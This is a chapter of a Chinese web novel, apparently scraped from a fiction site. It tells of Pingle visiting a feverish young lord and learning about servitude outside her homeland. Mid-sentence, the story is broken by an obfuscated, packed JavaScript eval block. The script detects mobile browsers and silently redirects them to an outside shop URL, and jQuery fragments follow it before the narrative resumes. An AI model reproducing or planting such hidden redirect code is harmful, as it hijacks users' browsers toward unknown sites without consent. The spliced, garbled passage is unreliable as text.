文趣网 > 其他小说 > 月亮之下 > 9. 第九章 苏醒
    这确实能解释为何侍从无法给公子降温。

    面对一个从小体弱的患者,人们的第一反应肯定是给他补气养血,但反而让生机更加充沛,情况变得更糟糕。

    可是一个生机如此浓郁的躯体,又怎么可能只是发热,难道不应该全身长瘤、面目全非吗?

    “似乎是有另一股力量维持着他的形态,”睿心揉了揉太阳穴,深感棘手,“也正是因为这股力量在不断消灭他多余的血肉组织,这个躯体才会不断发热。”

    平乐十分疑惑,以前从未听说人体内还有另一种力量存在。

    但她在医药上的成就不能说没有,只能说聊胜于无,非常信任面前专家的判断:“是什么力量?”

    “我不知道,”睿心也不认识这种力量,“灵目并不能看见它,我认知里的任何一种力量都与它不符,也只是推测出来了它的存在。”

    平乐明白了她的意思,这是一种全新的能量,即便是猜到了存在,也没有办法去调整它。

    “我只能用泄气的方子减少公子体内的生机,暂时稳住了情况。”她越想越头疼,愈发怀念起在山上采药的老师,

    “如今他们没有办法,看见我能治便信任我,但这毕竟不是长久之计,他们早晚会发现这张药方的作用,到那时还要劳烦你多加劝阻。”

    睿心又叹了口气,感觉自己遇到了此时最大的难题。

    “睿心姐,”平乐察觉到她的态度不太正常,“你是不是已经有所猜想了?”

    睿心点点头:“我怀疑这并非疾病,而是一种诅咒,但我的神秘学的不好,没有办法验证。”

    但平乐并不为此烦恼:“这有什么难的,等公子好些了,我带他去拜访元雪婆婆就好了。”

    睿心放下心,重新露出微笑:“也是,大祭司总会有办法的。”

    即便这么说,但大祭司在西幺的地位超然,又逐渐隐退,这两年连工作都是由其学生明卓代劳。

    哪怕公子是远道而来的贵客,大祭司也不可能亲自前来。

    只能等到他身体好些后,再带着公子去月坛拜访了。

    可他这次病的确实严重,反反复复地烧了三天都没清醒。所以当握椒告诉她公子苏醒的时候,平乐几乎是立刻动身来到了主院。

    “平乐大人,”平乐才刚走到院门,就碰见前来迎接她的公子乳母。

    她不禁在心里叹息一声,自从她将圣女令借给他们请来医师后,主院的人们总是对她过分地热情。

    不仅将对称呼从“姑娘”变成了和西幺人一样的“平乐大人”,每次知道她要过来,都会专门出来迎接。

    她也不是没有试图让她们放松一些,告诉他们自己与公子约定好了,平时见面不必多礼,可他们每次都用不能对救命恩人无礼的理由堵住她。

    其他人也就算了,可面对跟她母亲一般年纪的姑姑,平乐是真做不到看着她一个人行礼,十二纲纪正在狠狠敲打着她的脑袋。

    只能停下脚步,给姑姑回了一礼:“薛怀姑姑。”

    是的,她已经知道姑姑的名字了。在搬到山月别居的那一天,姑姑跟马车一起来接他们,向平乐重新介绍了自己。

    “在下薛怀,是公子的乳母,能再此与姑娘同行是薛怀的荣幸。”

    平乐不免又有些失望,当时公子就坐在她身旁,可却一点介绍自己名字的意图都没有。

    他不说,自己也不想问,十九年的人生让她牢牢地记住了一个道理。

    别人愿意给的,就算不要他们也会递到手边;既然他们不提,那就是不想给,这样的东西就算是要过来又有什么价值呢?

    反正名字又不是什么重要的东西。

    就这样气鼓鼓地想着,不知不觉,平乐就走到了公子榻前。

    “这是怎么了,怎么这样不高兴?”公子斜靠在床边上,声音里还带着几份沙哑。

    平乐看着他带着薄红的脸颊,额头上还布满细密的汗珠,突然就释怀了,或许他真的有什么不得已的苦衷呢。

    “没什么,”她自然地坐到公子旁边,担忧地望着他,“倒是你,发热还没好吗?”

    公子笑着摇摇头,轻声回应:“已经好多了,我听姑姑说,是你将自己的令牌借给他们,才这么快就请到了医师。我醒来这么长时间,还没有好好谢谢你,真是惭愧。”

    平乐不以为意地摆摆手:“不过是举手之劳,不必多谢。”

    说完又笑了笑,指着窗户外面:“而且你的侍从们都替你谢过了,这两天我走到哪都能收获一片感恩戴德,真叫人惶恐。要知道,我们这的人都没这么尊敬地对我呢。”

    公子笑了笑,但并没有真的相信她的谦逊之言。

    令牌这样的信物哪里是能轻易借出去的呢,先不提它本身的贵重。

    要是拿着令牌的人做错了什么事,令牌的主人是要担责的。

    “他们是为了自己感谢你,”公子认真地看着平乐,“和我感谢你救了我并不冲突。”

    “好吧,我收到你的感谢了。”平乐弯着眉眼,想起之前的疑惑,眉毛又皱了起来。

    她歪着头,不解地看向公子:“你们外面的人竟然能随意打杀家仆吗,为什么说我救了他们的性命。”

    公子脸上的笑容僵住一瞬,又重新勾起嘴角,但眼尾却在往下撇,落在她脸上的眼神很轻,轻得几乎感觉不到。

    “就这样相信我吗?如果你对一个小心眼的人这样说,他会恨上你的。”

    平乐不喜欢他这样低落,猛地用手拍到床栏上打断他的沉思:“别转移话题,我信任我的朋友有什么不对?”

    她一边说,一边向公子的方向窜了一些:“你还没说是为什么呢。”

    公子的情绪被打断,也只是轻轻瞥了她一眼,声音里夹杂着叹息:“他们大概是被吓到了吧,你还记得我的祖母吗?”

    不理解这跟他的祖母有什么关系,但平乐还是强压起好奇心,拿出难得的耐心面对眼前的病患:“记得,你身体里的西幺血脉就来自她身上。”

    “没错,去年冬日她逝世了。”他难过地蹙起眉眼,眼神落到旁边从窗缝漏下的光斑上,“我父母非常忙碌,平日里都是祖母照料我,她总是说我很像她。”

    “请节哀。”平乐不知道还有什么话能抚平他的眉眼。

    他们祖孙的情况很像自己与姐姐,但应该比她们更加亲近。

    平乐尝试去设想姐姐死在眼前的模样,很快就被汹涌而来的痛苦淹没,自救般地停止思考。

    她眼含泪水地看向公子,无法想象他当时是怎样的难过。

    “我当时太难过了,所以很快就病倒了。”公子的全部心神仿佛都浸泡在那段旧日的时光中,光影和声音都被撕得粉碎,整个世界都是阴沉沉的灰色。

    他的声音仿佛从很久以前飘来:“阿耶很生气,觉得都是他们没有照护好我,想要将他们杖杀。”

    平乐思考了好一会,才理解“他们

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816752|211073||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”或许指的是那些侍从。

    “我劝了好久,阿娘他们也跟着劝,才只是将他们赶走。当时我现在身边的人就在旁边看着,大概就是那时被吓到了。”

    平乐打散刚才的猜测,却变得更加难以理解:“你是说你身边的人才跟了你不到半年,之前的人都被赶走了?!”

    一个爱自己孩子的父亲怎么会将关爱自己孩子人都赶走?

    “抱歉,你真的确定自己的父亲爱着你吗?”

    公子有些诧异,但并没有感到被冒犯:“我刚才没有说清,其实将他们赶走是我的主意。”

    “什么?!”

    平乐下意思坐直身体,远离面前的人,但又很快想到,公子并非忘恩负义的人,这背后必有隐情。

    她又重新逼近公子,生气地瞪着他:“到底怎么回事,你就不能一口气说完吗!”自己难得的耐心都要被耗尽了。

    “别着急,我这不是正要说吗。”平乐靠的太近了,公子还没有习惯这里的亲密,呼吸下意识变得急促起来,深呼吸了好几次才又恢复平静。

    “我当时在病中,远远地听见阿耶愤怒的声音,我从未见过他那样生气。

    “你没见过他,他愤怒起来太可怕了。当时我就在想,我只是濒死他就要杀死他们,如果我真的死去,阿娘他们真的还能劝住他吗,还是像阿耶一样,想要用我身边人的鲜血平息他们心里的痛苦?”

    “所以你就想提前给他们安排好?”平乐将憋在心口的气吐了出来,幸好她的猜测是对的,公子真的另有隐情。

    公子静静看她吐出一口气,感觉有些好笑。

    他轻轻点头:“在那之后,我也派人将他们安顿好。”

    他的脸上又带上了几份难过:“其实我当时也有些情绪上头,后来想想,如果阿耶当真要杀了他们,又怎么会被我们轻而易举地劝住呢?

    “只是当我清醒过来,事情已经落实到位,无法转圜了。”

    平乐扶着他的肩膀,安慰地看着他:“这怎么能怪你呢?你当时也在生病啊。”

    公子重新勾起了笑容,温和地点点头:“幸好他们都不曾怪我。”

    这个话题就这么结束了,可是平乐的疑问还是没有得到解决:“所以,你们为什么有权利对他们喊打喊杀,官府就不管吗?”

    “你想问的是这个?”公子也感到疑惑,他们对视一眼,突然发现彼此之间有一道很深的代沟。

    看着对方充满问题的眼睛,公子突然意识到什么,将卖身契、贱籍等外界的常识给平乐解释了一番,并看着对方的眼睛里逐渐充满震撼。

    “你们外界可真是,”平乐停顿了许久都没找到一个合适的词语来形容,只能用眼神和肢体语言述说着她的不理解。

    “在我们西幺,每个人的户籍都是一样的。虽然家中也有侍从,但都是从外界聘请的,要是遇到了不公还能到官府告状呢。”

    平乐可算知道为什么要将逐出西幺当作一项刑罚了,外面的世界竟然这样残酷吗?

    但这也不是他们两个短命鬼能解决的事,平乐不再想这些,准备例行用灵目确认一下公子的情况就告辞。

    她熟练地调动天赋,在灵目中,公子的身体里仍然聚集着常人难以比及的生机,但比起前面几天,已经稀薄得太多太多。

    “看来用不了多久,你就能大好了。”平乐笑着看向公子,视线却突然在他胸口顿住。

    那里的生机要比周围浓郁许多。